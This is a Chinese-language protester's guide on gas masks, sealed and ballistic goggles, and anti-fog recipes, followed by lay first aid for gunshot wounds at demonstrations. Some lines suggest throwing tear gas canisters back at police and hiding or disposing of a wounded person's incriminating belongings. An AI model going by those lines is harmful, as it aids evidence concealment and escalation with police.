几十年来，抗议者一直在争论湿头巾是否应该浸泡在醋、柠檬汁或其他酸性溶液中。这还没有在实验室里研究过，它的工作机制也不清楚。不过，人们这样做已经有很长一段时间了，实践的人也报告说注意到了不同。**2009**年五角大楼资助的一份报告确实提到，用柠檬汁浸泡的头巾可以减轻催泪瓦斯的影响。

波特兰的抗议者报告说，有些人在使用 COVID-19 防护中常见的较大的面罩，并将面罩拉紧，可能是将拉绳收紧使其高度贴紧脸部。当然，这不是一个完美的密封。一位用户报告说，这种方法可以将催泪瓦斯的效果延迟到许多未戴面具的人被迫离开该地区之后。

DIY面罩

「图」

可以制作DIY防毒面具。虽然我们还没有亲自测试过，但 YouTubers 有，并报告了一些成功的经验。我们的想法是用活性炭（过滤有机蒸汽）和棉花（过滤颗粒）来制作DIY过滤器。这些可以连接到任何东西，从重复利用的两升汽水瓶到SCBA面罩。

当然，一个劣质的面罩可能比没用更糟糕。

关于面罩的最后说明

「图」

在多数情况下，您可能不需要一个完美的防毒面具来参加抗议活动。即使镇压部队迅速使用了毒气，就像BLM中那样，通常您需要的只是一些能够保护您足够长时间的呼吸、让您能接近毒气罐并使其失效（盖住它）或将其扔回警方一边。您不需要拥有最高端的装备也能做到这点。

此外戴上呼吸器会很不舒服，特别是在炎热的天气里，因为汗水从您的脸上滚落，紧绷的带子会让您头痛。有些面罩还会限制您的视线或交流能力。呼吸器让您更容易被辨认：即使每个人都戴着面罩，他们戴的面罩也很可能和您的不一样。

但催泪瓦斯的长期影响可能是很显著的，所以保护好自己很重要。我们不需要更多的烈士 —— 我们需要更多可以继续生活和战斗的人。

📌 在某些地方和某些时候，警方使用了大量的催泪瓦斯和其他化学武器。在其他地方，他们使用水壶战术或冲击性弹药。与所有关于您需要安全和有效的决定一样，您需要首先考虑您的地形的具体情况。

- 关于地形分析，详见《直接行动分步指南：它是什么、它有什么用、如何获得成功》
- 关于水壶战术《抗议者如何对付警察：警惕”水壶”战术》

有必要保护您的眼睛免受弹丸和有毒气体的伤害

保护眼睛

「图」

同样重要的是保护您的眼睛 —— 免受化学武器和冲击弹药的伤害。一般来说，这涉及到一个抗冲击等级的全脸呼吸器或一副护目镜和半脸面罩呼吸器。护目镜应具有防弹冲击 (或至少是抗冲击)、全密封 (无开孔泡沫) 和防雾的等级。不幸的是，这三个方面都是相互作用的，很少能找到同时满足所有这些要求的护目镜。在某些情况下，您可能不得不自己把护目镜上的通风口密封起来。

我们还听到了一些其他值得考虑的建议，比如在普通的、非防弹密封的护目镜上戴上连接在战术头盔上使用的防弹等级的面罩。示威者有时会戴上棒球面罩和其他运动项目的面罩，但警方使用的许多弹丸都可以通过这种面罩所采用的宽幅格栅。下面这样：

对于那些戴眼镜的人

「图」

📌 如果您近视，不要戴着隐形眼镜进入可能接触化学武器的环境！要戴眼镜。一些喜欢戴矫正镜但又不是绝对需要戴眼镜的人发现，最简单的办法是在戴上防弹和/或防化护目镜的时候把眼镜摘下来。其

他人则没有这种选择。对于那些戴眼镜的人来说，也有一些选择，不过这种考虑确实限制了您的选择，增加了护眼的成本。

有OTG（over-the-glasses）护目镜，但我们还没有找到一副能充分密封的护目镜。大多数使用泡沫密封，这相当于不密封。一些行动者知道这点，但不那么在乎。

大多数标准的护目镜，包括那些由 sportsRX 制造的护目镜，都没有防弹等级。我们只发现了一种型号的弹道护目镜—— Wiley X SG-1。目前还不清楚这种款式在眼睛周围建立了多少密封，然而，这是近300美元一副的，也许超出了您的预算。可能还有更好的选择。

许多便宜的防弹护目镜，包括 Pyramex V2G，可以配备插片。V2G 就像我们发现的几乎每一副防弹镜一样，并没有针对化学武器进行密封，但正如下面即将讨论的那样，可以用胶带或热熔胶解决这个问题。大多数全脸呼吸器也可以配备插片，一些抗议者一直在防毒面具中自制眼镜插片，通常使用胶带或吸盘。

一位老兵告诉我们，他在军队时，在向被军队占领的国家的平民分发防毒面具时，他的部队告诉那些戴眼镜的人，把眼镜的柄剪下来，长度刚好能装进面具（或护目镜）的橡胶垫圈内，然后用胶水粘住。热熔胶可能会有用。

另一种样式的 “通用” 方法是将眼镜腿弯曲下来，以适应放入防毒面具的密封圈内。Pyramex V2G Plus 护目镜

密封护目镜

「图」

护目镜有三大类：完全通风、间接通风和不通风（有时称为 “密封”）。完全通风的护目镜提供了最好的保护，防止雾气，它们被用于很多运动。对于大多数目的，间接通风护目镜提供了最好的两个世界：通风口允许足够的空气，以保持护目镜不会起雾，并且通风口是足够合理的安全，可以阻挡从化学品飞溅到像锯末之类的粉尘。

不幸的是，它们无法抵挡催泪瓦斯， 所以对于抗议者来说这不是最佳选择 —— 抗议者要的必须是完全密封的护目镜。密封护目镜完全依靠化学处理和镜片的热传导性来对抗雾气，但这并不总是足够的。

📌 要小心：有时护目镜被列为 “密封”，但却使用开孔泡沫作为密封

材料，认为泡沫本身就能向内部通风。开孔泡沫对于涉及警察镇压的情况来说是个坏主意！因为它会吸收化学物质！

另外两种护目镜对脸部形成密封的方法是橡胶和闭孔泡沫。我们没有测试过这两种方法的实际区别。我们的推测是，橡胶密封圈，就像防毒面具的密封圈一样，可以更好地防止化学武器，并且会受到较少的污染，而闭孔泡沫可能会防止吸力问题。

📌 吸力的问题是什么？意思是，如果护目镜以密封的方式（比如泳镜）贴在你的脸上，如果有东西撞到这些护目镜（比如警方用的弹丸），首先，正压可能会损伤您的眼睛，然后，如果空气逸出，负压也会损伤您的眼睛。最坏的情况是，这可能会使您永久失明！

我们研究了一下这个问题，并和一个医生谈过，一般的共识是关于这是否是一个真正的风险 … “也许是”。一些研究表明泳镜会造成瘀伤和一些眼球损伤，这似乎很有可能 —— 虽然我们还没有确认—— 这也解释了为什么泳镜不允许被用于水球等全接触的水上运动。

当然，正如前述医生所指出的，📌 如果您被弹丸射中眼睛，与其说是弹丸击中眼睛的问题，不如说是吸力导致的问题。

📌 据推测，一些自己动手密封通风护目镜的方法可以减轻吸力的危害，因为DIY密封很可能在撞击后失效，使气压正常化。如果这是真的，DIY密封护目镜可能比全密封护目镜更安全。

抗议者一直在采用至少两种策略来密封通风护目镜上的通风口 —— 热熔胶和胶带（最好是贴在通风口的内部和外部两面）。

热熔胶是最理想的，因为大多数胶带在湿润后会失去粘性。布质胶带似乎不能提供足够的密封性，而塑料背胶带则会吸附水分，从而使胶带松动，导致其脱落。只有在紧急情况下才使用胶带。即使是热熔胶有时也会自行松动。

我们还没有测试过其他胶水或环氧树脂。除了热熔胶和胶带，可能还有其他方法。用热熔胶密封的护目镜

弹道学

「图」

不幸的是，除了向您喷洒化学品外，警察还会向您发射弹药。虽然每

一种生产中的冲击性弹药都被特别指定不能射向任何人的脸，但是，镇压部队却经常将弹丸直接射向抗议者的脸。仅在2020年，警察就对美国数十名抗议者的眼睛造成了严重的伤害，许多受害者已经永久失明。他们中的一些人被击中时也是戴着护目镜的。

最安全的可能是找到额定提供 “防弹” 保护的护眼产品，而不是简单的旨在减轻工作场所危害的 “抗冲击性”。虽然这限制了您对护目镜和防毒面具的选择，但如果您知道去哪里找，还是可以找到便宜的防弹眼镜。

诚然，在我们测试不同款式的护目镜对各种冲击的经验中，还没有发现那些只被评为民用抗冲击等级（ANSI Z87.1＋）的护目镜和那些被评为更高标准的 mil-spec（PRF-31013）的护目镜在性能上有任何明显的区别。

我们在测试一副没有评级但被宣传为 “防碎” 的眼镜时也得到了同样的结果。虽然实验还在进行中，但我们目前的假设是，大多数防碎、抗冲击和防弹的塑料镜片的结构是一样的。不过，更高的测试标准也是测试整个护目镜在撞击过程中是否能保持一致，即使是破碎也是如此。

无论如何，某种程度的抗冲击力是至关重要的。我们曾与波多黎各的一位抗议者交谈过，当警察的弹药击中附近的一棵树后，一块大木头碎片掉下来嵌入他们的防弹镜中，他的眼睛最终没事。虽然弹道护目镜的额定值不能承受枪支的直接射击 —— 也不能保证它们能保护您免受各种可能的冲击弹药的伤害 —— 但它们的额定值却超过了胡椒球甚至警棍的威力。在YouTube上，您可以看到人们用猎枪的鸟弹射击弹道护目镜，而不破坏护目镜的演示。

我们测试了未评级的实验室安全护目镜并进行了对比。它们在冲击下危险地碎裂，甚至没有凹陷防碎镜片。BB弹射击实验室护目镜的结果，碎成了这样

有些抗议者一直在使用透明胶带来加固护目镜和防毒面具，希望如果弹药打破了塑料，胶带可能会防止碎片分裂的危险，这个前提是基于汽车玻璃的破裂方式。

为了测试这个理论，我们用 Gorilla 胶带 —— 我们能找到的最强的透明胶带—— 只粘住几副护目镜和一个呼吸器上的一个镜片，然后用弹丸射击它们。被胶带粘住的地方穿透力更差，大概是因为胶带困住了弹丸。然而在示威现场，弹丸并不是一个特别现实的威胁。所以我

们用**12**口径猎枪的橡胶弹丸射了几颗。有一颗碎裂了，但比那些没有贴胶带的更安全，而有一颗在我们完全预料到会碎裂的情况下根本没有碎裂。这不是结论性的研究，但它显示有可能胶带会有帮助。用胶带封住弹道护目镜

冲击测试后达到ANSI等级的护目镜

影响标准

「图」

呼吸器、护目镜和眼镜的塑料(通常是聚碳酸酯)镜片，按不同的抗冲击标准进行评级。在美国，民用护目镜的评级可以达到ANSI Z87.1＋标准，而军用和战术装备的评级则是MIL-PRF-31013或另一个MIL防弹标准；在欧洲，则是EN168A（或者，稍逊一筹的EN168B）。据推测，世界其他地区也有类似的标准。

冲击标准一般是通过以不同的速度向眼镜、护目镜、防护面罩或防毒面具射出BB弹来建立的。要符合标准，镜片必须不破裂或不与镜框分离。大多数 “防弹” 评级要求镜片在每秒至少500英尺（fps）速度的弹丸打击下存活下来。主要的 “抗冲击” 标准，ANSI Z87.1＋，只有150 fps。我们在630和840 fps的速度下射击护目镜，发现两个标准之间没有区别。

一些制造商在他们的销售页面上吹嘘他们所达到的标准，但如果不能做到这一点，它可以是一个很大的工作，以找出什么装备才能抗额定的弹道冲击，特别是关于旧的装备，如剩余物资那种。幸运的是，**ANSI**等级的装备在框架上的某个地方印有**Z87.1**＋，容易识别。

我们不能肯定地说，哪些标准对于防范哪些特定威胁是必要的，因为这些标准在设计时考虑的是工作场所的危险性 (民用型号) 和弹片 (军用型号)，而不是抗议现场会遇到的那种撞击性弹药。我们与工程师们进行了交流，他们建议测试比应用抽象的数学更重要，因为冲击角度、距离、材料的磨损和面罩的形状，都是决定什么会和什么不会打破特定塑料片的重要因素。

无论如何，佩戴防撞护目镜将大大降低对眼睛、脸部或头骨的潜在伤害，即使它真的在撞击时破裂。

防雾

「图」

眼镜和护目镜会起雾，特别是在潮湿的环境中。雾状的护目镜很烦人，而且在抗议现场的情况下，有潜在的危险。制造商（和抗议者）采用了三种基本的防雾措施。

首先，也是最有效的是气流。设计用于对抗雾气的全脸呼吸器在您吸入新鲜空气之前将新鲜空气引导到面罩上，同时确保呼出的空气能立即从阀门中排出。通风护目镜 —— 不推荐使用—— 也是依靠新鲜空气来对抗雾气的。密封式护目镜则在此呈现出劣势。

第二种最有效的防雾措施是使用“热镜片”或“双镜片”，这类镜片之间有一个空气间隙，形成了一个热断层，减少了镜片上的冷凝水。

最后，最常见的防雾措施是在护目镜内侧采用了一个疏水面。大多数号称“防雾”的护目镜都采用这种方法，即 在镜片内侧涂上一层薄薄的油。油是疏水性的，所以湿气水珠就会落下来。大多数这些防雾涂层的主要弱点是它们最终会磨损，尤其是在用肥皂水清洗镜片的情况下。一些制造商宣称他们的防雾涂层是以化学方式粘合在塑料上的，不会降解，但我们还没有亲自测试他们的说法。

一位研究者生活在一个整个夏天湿度都在80–90%左右徘徊的地区。在这种条件下，依靠普通的疏水防雾涂层是远远不够的，即使使用通风护目镜，护目镜也会很快起雾。相比之下，间接通风散热护目镜可以佩戴数小时不起雾。这两种方法的差别是很大的。

防雾喷剂是可以买到的，而且价格也相当便宜，不过DIY解决方案也同样常见。许多游泳爱好者宣称用唾液作为薄薄的涂层涂在泳镜内侧，可以防止雾气，而其他人则使用婴儿洗发水（不是成人洗发水！否则会刺激佩戴者的眼睛）。我们咨询了一位长距离游泳者，他报告说，婴儿洗发水在海里可以有效地持续几个小时不起雾，而唾液似乎最多可以持续10到45分钟。

波特兰的抗议者提交了以下防雾配方，我们没有亲自测试过：

材料：牙膏/小苏打，水，*Dawn*防油污洗碗液，强生婴儿洗发水，喷雾瓶（差不多的都可以）。

如果您的镜片有防雾涂层，请用清水和软抹布清洗并晾干。如果您的护目镜没有防雾涂层：

- 洗好手。

- 使用非美白和非凝胶的牙膏，或小苏打和水。将其涂抹在整个镜片和护目镜/面罩内的裙边上。
- 用手指或软毛刷擦洗镜片，然后用清水彻底冲洗。
- 如果您的护目镜变脏或油腻，请再次重复此步骤。

接下来，混合防雾液：

- 用一个干净的喷雾瓶
- 加入40%的防油污洗碗液、50%的婴儿洗发水和10%的温水
- 充分混合

最后，处理护目镜/面罩：

- 洗干净手
- 将溶液喷洒在面罩/护目镜内侧
- 用干净的手指涂匀
- 静置30秒
- 用温水简单冲洗一下，一定要在镜片上留下一层淡淡的溶液，然后让它干燥
- 如果戴上护目镜时觉得刺眼，下一批制作时少用洗碗液，换成水
- 每次行动前都要重复这一步骤

不建议您使用以下这些常见的护目镜

「图」

工作护目镜—— 有些带防弹镜片的工作护目镜还配有带子，可以变成抗议行动中的护目镜。但我们研究过的三款这种护目镜都没有真正在眼睛周围形成密封。

消防护目镜—— 消防护目镜是为野外消防员设计的，但往往会使用厚厚的开孔泡沫作为通风材料。这样做的目的是为了过滤烟雾，但不会过滤催泪瓦斯。

游泳护目镜 —— 游泳护目镜的优点是体积小，密封性好，所以可以和半脸面罩呼吸器搭配使用。但是，很难找到抗冲击的泳镜，值得考虑的是潜在的吸力问题。

滑雪镜—— 大多数滑雪镜使用开孔泡沫，而不是橡胶来形成密封。如上所述，开孔泡沫会吸收化学物品。

一些特定的护目镜，您可以尝试

「图」

没有完全经过测试，这些建议是基于研究和对话的结合。

到目前为止，头号推荐是 Pyramex V2G Plus。这些都是不到20美元的，防弹等级的，并使用双镜片防雾 —— 一个更可靠的防雾措施。对于戴眼镜的人来说，有一个插片。不过这些护目镜是间接通风的，所以您得用热熔胶或胶带密封它。

唯一潜在的问题是，双镜片的热系统使其更难充分密封。镜片之间有一层薄薄的泡沫，允许水分通过，如果您生活在非常潮湿的环境中，可能会永久地将水分困在镜片之间。

另一个选择是 Pyramex Capstone。也是不到20美元，而且是防弹级别的。它们使用常规的疏水防雾。像 V2G Plus 一样，它们是间接通风的，所以您需要自己密封它们。

SolidWork 安全护目镜价格稍贵，30美元左右。它们使用的是大面积的橡胶密封圈，看起来更能够牢牢地密封在脸上。这些也是间接通风的，所以您需要自己密封。

还有其他很多的护目镜可以用，有防护几乎总是比没有的好。

变通办法

「图」

与我们交谈的一个人在通风防弹护目镜下佩戴泳镜。尽管搭配了半脸面罩呼吸器，但泳镜仍能提供了良好的密封性。对于那些拥有专业泳镜或愿意购买一副泳镜的人来说，这种方法也是可行的。

戴起来比较麻烦，估计也不会舒服，而且不知道在化学武器的重重考验下，它的作用如何。如果您有这方面的经验，欢迎留言探讨。〇

A Demonstrator’s Guide to Gas Masks and Goggles

原文

如何处理枪伤：示威参与者指南（4） - iyouport

示威参与者指南

【2021年4月30日存档】您能做的大部分工作都是在开枪之前进行的。切记这点。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》

示威活动中的枪伤越来越常见。这并不是说您应该惊慌失措 —— 每年全世界都有无数人参加示威活动，去年的镇压如此严重，也只有几十人被枪击。但是，随着政治冲突的升级，行动者还是应该思考如何才能互相照顾和保护。

好消息是，即使您没有受过医学训练，也可以做一些事来最大限度地提高在您附近被枪击的人存活的可能性 —— 只需一些很简单的事。尽管考虑这个问题可能会让人感到紧张，但以下指南可能会帮您有能力帮助拯救生命。

📌 不要错过我们此前的介绍，关于，首先您应该尽可能躲开子弹，见《如何在大规模枪击案中幸存：在灾难中幸存（10）》。

上图中这本书在这里下载：《黑十字会：行动者应当掌握的知识技能》

什么是枪伤？

「图」

枪伤包括外伤和严重的穿透伤。它们对身体的影响因武器的类型、射击者的距离、和伤口的位置而异。根据子弹的大小和速度，枪击可以造成不同类型的伤害 —— 包括严重出血、肌肉和骨骼损伤、以及器官的破坏。它们可以以不可预知的方式损害身体。

一些口径的弹药可能直接穿透人体，留下容易辨认的进出伤口，被称为穿透伤，而其他口径的弹药则更容易在体内 “翻滚” 或弹跳，这可能会造成更多的内部损伤。更糟糕的是，一些类型的手枪 “自卫” 弹药被设计成在撞击时 “爆发” 出来，造成更严重的伤害。

📌 无论细节如何，都要将任何枪伤作为潜在的生命危险对待。如果动脉受损，人在三分钟内就会失血过多。一旦一个人失去了一半的血液，此人的生存机会就会急剧下降。这取决于您是否迅速采取行动。

注意局势和地形

「图」

📌 首先，要注意您周围发生的事。街头示威可能会很混乱和吵闹。警察可能会使用催泪瓦斯、闪光弹、LRAD（长距离扬声装置，即 声炮）和其他嘈杂的武器，而抗议者有时会燃放烟花 —— 这听起来很像枪声。当您在街上被巨大的爆炸声吓到时，请试着辨别爆炸声的来源以及它所代表的风险。

留意任何公开携带枪支的人的位置，以及任何您有理由相信可能携带暗器的人。

在示威活动中，有人被友军的火力击中，也有人被敌军的火力击中。如果您与一个亲和团体合作，您可以指定一个人留意潜在的威胁 —— 也就是您的亲密团队角色分工，具体方法见这里《直接行动分布指南》。

您的队友可以轮流担任这个角色，这样一个人就不会因为不断地保持警惕而疲惫不堪。在任何情况下，各方都应该保持警觉，因为事情可能会瞬息万变。

沟通要清晰简洁，特别是当您在描述拥有枪支的个人时。这可以帮助其他人在紧急情况下迅速做出明智的决定，而不会造成不必要的恐慌。

📌 以下是您可以采用的两种沟通模式来传达您所看到的情况：

1、使用 “S.A.L.U.T.E.” (即：规模、活动、地点、单位、时间、装备) 来识别潜在的威胁。例如，您可以报告说：“我看到三个人（S）守卫在大街和城市大道（L）交叉口的便利店（A）；而不是大喊 “他们有枪！”；可能是民兵（U），这是晚上11点15分（T），其中两个人有长枪，我不知道第三个人有没有枪（E）。”

2、在紧急情况下，或者时间紧迫的时候，您可以使用另一个工具，叫做 “三个D”：方向、距离、位置；例如：“我的1点钟方向有四个不明身份的人拿着步枪，在上一个街区，用望远镜扫描人群。”

做好准备

「图」

📌 您能做的大部分救助工作都是在开枪之前进行的。切记这点。

1、街头医务人员

「图」

根据抗议活动的类型和行动地点，可能会有医护人员在附近。您可以事先调查一下您所在的地区是否有街头医护人员，他们是否会参加这场抗议活动，以及他们所在的具体位置。

在示威活动期间，人们经常会看到医护人员在人群中转来转去，或驻扎在边缘地带，他们带着装备，戴着一个红色的十字或类似的徽章，表明他们是医护人员。

如果您认为这可能成为相关问题，您可以直接问他们是否准备好了处理枪伤和其他严重的伤害。许多医务人员都有应对催泪瓦斯、胡椒喷雾和橡皮子弹的经验，以及疲惫、脱水和恐慌的经验。目前应对枪伤的医护人员不太可能足够多。

如果您正在评估当地医护人员接受处理枪伤培训的程度，并了解到他们准备提供的 “第一反应” 护理，您也可以询问他们是否有能力在急救服务无法到达一个地区的情况下提供较长时间的护理。这可以给您提供重要的信息，让您了解如果行动仍然处于不断升级的情况下，您可能承担的潜在风险指数。布什时代的街头医务人员

2、行动前

「图」

📌 在去示威现场之前，评估队友们的安全和健康需求 —— 包括获得呼叫紧急服务的能力和意愿，请注意：紧急服务通常由警察陪同。在有人到达急诊室之前，是否有什么需求应该被解决？如果发生紧急情况或受伤，您希望您的队友首先联系谁？想清楚这些问题，并安排妥当。

除了了解是否有受过训练的医护人员在附近之外，还要确保您知道最近的急诊室的位置 —— 最好是有创伤中心的急诊室。并非所有医院都具备处理危及生命的伤口的能力。如果您不在设有创伤中心的医院附近，至少要知道最近的医院的位置。如果运气好的话，他们应该能够在将受害者转移到准备好处理大规模身体创伤的医院之前稳定受害者的情绪。

3、装备

「图」

有几件物品可以随身携带，在发生枪击事件时可以很有用。

考虑购买或制作一个个人急救包（**IFAK**）随身携带。个人急救包是一个外伤包，里面有必要的救生材料，可以帮助您控制出血和治疗主要伤口。

📌 它通常是一个小袋子，里面装着纱布（普通纱布或止血纱布）、压力敷料、个人防护装备（手套、面罩）和止血带等物品。一位有经验的医护人员整理了一份详尽的清单，列出了IFAK中应该放什么东西以及在哪里可以获得，该清单包含在文末的附录中。

除了个人防护装备可以保护您和您需要帮助的人免受血液传播的病原体或其他传染性疾病的伤害外，所有这些干预工具都有一个共同的目的就是：尽快止血。

纱布是 IFAK 的基本组成部分，但也是至关重要的一部分。当您对伤口直接施压时，它是用来吸收血液的。纱布也可以用来 “包扎” 较大的伤口。

止血纱布是浸渍了矿物质制剂的纱布，有助于血液更快地凝固，这在大出血时至关重要。

压力敷料（也称为以色列绷带、紧急绷带或紧急外伤敷料）是一种弹性包扎材料，附有非粘附性吸收垫和尼龙搭扣或夹子闭合系统。当用手按住伤口不足以止血时，可使用压力绷带对伤口施加较强的持续压力。压力敷料有很多不同的型号，如果您携带它，请确保您知道它的确切工作原理。看在线培训或装备介绍视频都是很好的选择。

止血带是 IFAK 的基石。如果您只携带一种介入工具，请购买优质的止血带。购买止血带时，最好购买专业部门批准的止血带。这些止血带都经过了严格的制造前测试，并经过了实地使用的彻底检验。推荐美军使用的**CAT-7**止血带。

小心假货! 许多便宜的产品在市场上流通；这些产品可能在压力下失效。您通常可以通过查看有没有工厂印章来识别假货。最后，也是最明显的一点，2009年以前生产的黑色CAT都是全黑的，而假货以包含白色的部分而闻名。

上面没有印章的那个是廉价的假货

右边的是假货。看出区别了吗？

良好的做法是行动前将止血带穿在扣子上，形成一个大环，然后穿过腿或胳膊，而不是在需要使用时在紧急情况下再开始穿扣子。

最后，随身携带永久马克笔，以标明止血带的使用时间，或任何第一反应者—— 如街道医务人员或其他救援人员 —— 可能需要知道的其他伤者信息。根据您的肤色，选择能让笔迹醒目的马克笔颜色。

即使当地有训练有素、经验丰富的医护集体，您自己也应该携带一个IFAK、甚至只是一个止血带，也是个不错的主意。在紧急伤员救治的范围内，很多受过正规训练的医护人员会设法先把伤者自己携带的救助装备用在他们本人身上，以便把医护人员自己的专用装备留给那些什么都没带的人。

📌 正因为如此，您一定要将您的IFAK标记清楚，并随身携带。如果做不到这一点，一定要把您的止血带放在容易拿到的地方，放在您的亲密团队中每个人都知道的有标记的明显位置。让您信任的队友知道您的医疗设备的位置，万一发生不测，他们可以帮您。请使这种做法正常化为基本规则。

如果发生枪击事件

「图」

在枪击事件发生后，可能会立即发生几件事。

如果警察在附近并进行干预，您有可能会迅速失去对局势的控制。尽管警察普遍缺乏医疗培训，但他们通常会在伤者周围形成警戒线，并可能阻止医生或其他任何人对伤者进行治疗。您的队友应该及时向警察施加压力，要求他们为伤者寻求适当的医疗服务。

这种情况的另一面也是可能的 —— 如果局势混乱或被认为是危险的，即使您愿意呼叫紧急服务，救护车也可能不会进入某个地区。警察可能会花很多时间用催泪瓦斯或其他手段清理该地区，然后才会派救护车来 —— 他们甚至可能会阻止救护车接近伤员（BLM中就发生过救护车被警察拦截的情况）。

📌 在这种情况下，根据伤口的严重程度，生存机会将取决于快速的思维和行动。除了你们自己照顾伤员和组织撤离的专业行动之外，你们将没有任何人可以依靠。

📌 请不断评估周围的情况。是否还有枪声响起？该地区是否有交通堵塞？是否有人从您身边跑过，逃离枪手、警察或暴徒流氓？…… 保持自己的冷静敏锐，不要让惊慌、匆忙或不专心造成更多的不幸。装有止血带和创伤敷料的小型个人急救包（IFAK）

即时治疗方案

「图」

您在这里读到的任何东西都不能代替适当的医疗训练，简单说，您应该亲手尝试练习，才能真正掌握要领。但是，如果您拥有一个IFAK包或止血带，并且对如何为手臂或腿部止血有基本的了解，采取一些行动肯定比什么不做更好。

📌 如果枪声响起，尽量不要惊慌。首先，要到一个比较安全的地方。在战术紧急伤员救护系统中，第一步是要维护现场的安全，以免您自己也成为伤员。找到可以评估情况的掩体。“掩体” 指的是任何能阻挡您所面对的子弹的东西，这取决于具体情况和武器的口径。考虑一堵砖墙或汽车的引擎盖。具体思考方式详见《在灾难中幸存（10）》。

如果您确定有人被枪击，而您又具备提供援助的能力，请确保现场相

对安全。如果您能确定这一点，向您的队友传达您打算向被击中的人移动的信号，以便让队友掩护您。

在移动的同时，向伤者提问，以确定如何照顾他们。问伤者："你在哪里中枪的？"、或者干脆问"你叫什么名字？"如果他们回答了这些问题，这将表明他们的呼吸道尚且是正常的，他们是有意识的，您可能会获得足够的信息来开始准备您的救援工作和心态。

您的第一个想法很可能是："好多血啊！"。起初，您可能很难确定伤口的具体位置，特别是如果伤者穿着长袖深色衣服的话，血迹会形成一大片的状况。如果您有外伤剪（专门用于快速剪开衣服的特殊剪刀），请迅速暴露出伤口。一般来说，在皮肤层暴露伤势以了解伤口的确切范围和程度是很重要的。

📌 立即对伤口直接施压。理想情况下，您应该使用戴着手套的手和纱布垫（最好是止血纱布），但在紧急情况下，您可以使用T恤、围巾或额外的口罩压住伤口。

如果血液浸透了纱布，可以增加更多的纱布或另一层布，并施加更大的压力。如果用手直接按压仍然无法止血，可使用加压包扎。将无菌吸收垫放在伤口上，并盖在已经贴好的纱布上（千万不要将纱布拿掉，这样会破坏已经开始的凝血功能）。将弹性绷带紧紧缠绕在受伤部位。它应该施加很大的压力，但不足以切断血液循环。

📌 对于危及生命的出血，时间是最重要的。如果伤口明显在手臂或腿上，而且可以看到大量的血，您可以选择立即使用止血带。与用纱布直接按压或使用加压敷料不同，止血带可以止住特定伤口的出血，也切断了肢体的所有远端循环，也就是说，它应该能止住所有离身体中心较远的出血，而不是应用止血带的局部位置。如果将止血带套在衣服上，要迅速检查，确保没有套在口袋里的物品或其他可能阻碍压力的东西上。

许多人都被教导说，使用止血带很可能会导致副作用，因为切断血液循环会引起并发症；事实上，这在许多野外/偏远地区医疗和街头医疗的框架中止血带仍然是常见的措施。并且，从全球战区获得的数据已经改变了对止血带安全的理解。经过认证的止血带（如**CAT-7**）现在被认为是非常有效和安全的救命设备，很少造成长期损伤或副作用。如果使用得当，它们被认为是适当的第一线干预措施，而不是仅仅作为"最后的手段"。

随着对抗议活动的威胁模式发生变化 —— 特别是如果街道越来越多

地呈现出战斗区的轮廓 —— 基于武装冲突情景的干预模式，如战术战斗伤亡护理框架，将越来越有意义。

上图中这本书在这里下载：《革命中的公民生存指南》。

要使用止血带，请打开 CAT-7，确保带子穿过扣环，红色尖端指向心脏。然后将止血带尽可能地往上滑，如果伤口明显在膝盖或肘部以下，而且您很容易看到肢体上没有更高位置的伤口，您可以将止血带放在这些关节上方。

📌 一旦就位，确保带子尽可能的紧—— 想想 “棘轮带” 那种状况。如果您能把一根手指伸到带子下面，就说明带子不够紧。转动滑轮，直到血液停止流动。通过夹子把 “带子” 拉上，并在时间带上标记应用的时间。这个过程会对您的对友造成极大的伤害，会很疼，不过很可能会减轻最初的伤势，这取决于伤口的位置。在使用止血带时和事后都要尽可能地与伤者交谈，让伤者保持意识清醒。

📌 在使用止血带之前，您应该先了解止血带要多紧才有效。试着在示范前将其短暂地放在自己的肘部上方，并将其收紧，直到您不再能感觉到手腕处的脉搏。这是一个很好的同理心练习，可以知道您救助的人将会承受什么样的经历。除非您正在治疗实际的伤口，否则永远不要让止血带停留超过几秒钟。

一旦您通过使用直接压力、压力敷料或止血带止住了血，就应立即寻找其他伤口。用戴着手套的手检查身体的各个部位。在检查过程中，要不断查看自己的双手是否有血迹，以便能立即确定身体的哪个部位受伤。如果伤者穿着防水的衣服，一定要脱掉它或检查衣服的内层，因为防水布料会使血液留在贴近身体的内侧，掩盖大出血状况。如果发现手臂或腿部有大出血，先直接按压、加压包扎或止血带，一旦出血得到控制，再继续检查其他部位。

📌 在身体外侧部位（即 腹股沟韧带附近、臀部、骨盆部位、手臂与肩部连接处的下方、肩部和颈部底部）的出血可以通过 “打包” 伤口来控制，即 对断裂的动脉或静脉直接施压。如果您当时在不安全的地方，或者您没有配备伤口包扎材料，可以暂时用纱布垫直接压住伤口。

📌 如果您没有配备IFAK或止血带，要大声呼叫医护人员。喊出您所在位置的地标，引导他们迅速找到您，以及伤员是否大量出血等关键信息：例如，“我需要医生！我在红色轿车后面—— 有人腿部中枪了!”

在您等待他们到来的时候，用直接的压力来减缓出血。如果出血是毛细血管性的（流速缓慢且均匀，颜色鲜红）或静脉性的（流速稳定，颜色深红），您可以用直接按压来控制出血。如果出血是动脉性的（喷流状或脉搏性流动，颜色鲜红），直接按压是不够的—— 您将不得不在动脉压力点上施压。📌 如果伤口在腿部，可以考虑在大腿上部，靠近骨盆区域施压 —— 但要小心。如果这个部位也有伤口，可以尝试在右下腹部位施压。如果伤口在手臂上，可以尝试在腋下按压。如果出血在颈部，可以尝试按压颈部的一侧，一般在下颌骨点的下方，记住只在一侧按压！只有在极端紧急的情况下才需要这样做，因为这样做对控制出血的价值有限。

无论伤口在哪里，一旦施压，不要为了检查伤口是否还在流血而取消施压。您必须继续按压，直到医生可以给伤口加压包扎或采取其他止血措施。

如果伤口在胸部，用戴着手套的手捂住伤口是可以接受的，但施加过多的压力可能会抑制伤者的呼吸系统。胸部伤口一般出血较少，但有很大的风险，空气会进入胸腔，导致压力积聚，可能导致肺部塌陷。

有些医护人员在急救包中会携带通风胸封，其作用与戴手套捂住伤口的一般作用相同：防止空气进入胸腔。如果伤口在肢干上—— 即 在胸部和肚脐之间 —— 除了立即通知医护人员或其他更高级别的护理人员外，您可能没什么办法。

📌 如果您能控制出血，您或队友应该让伤者做好准备，以应对可能的急诊就诊或其他可能被没收财产的情况。从受害者的背包、口袋和身上取下任何可能导致伤者被定罪的物品。让队友将这些物品处理掉，或者将它们交给值得信赖的朋友，让朋友将这些物品带离现场。

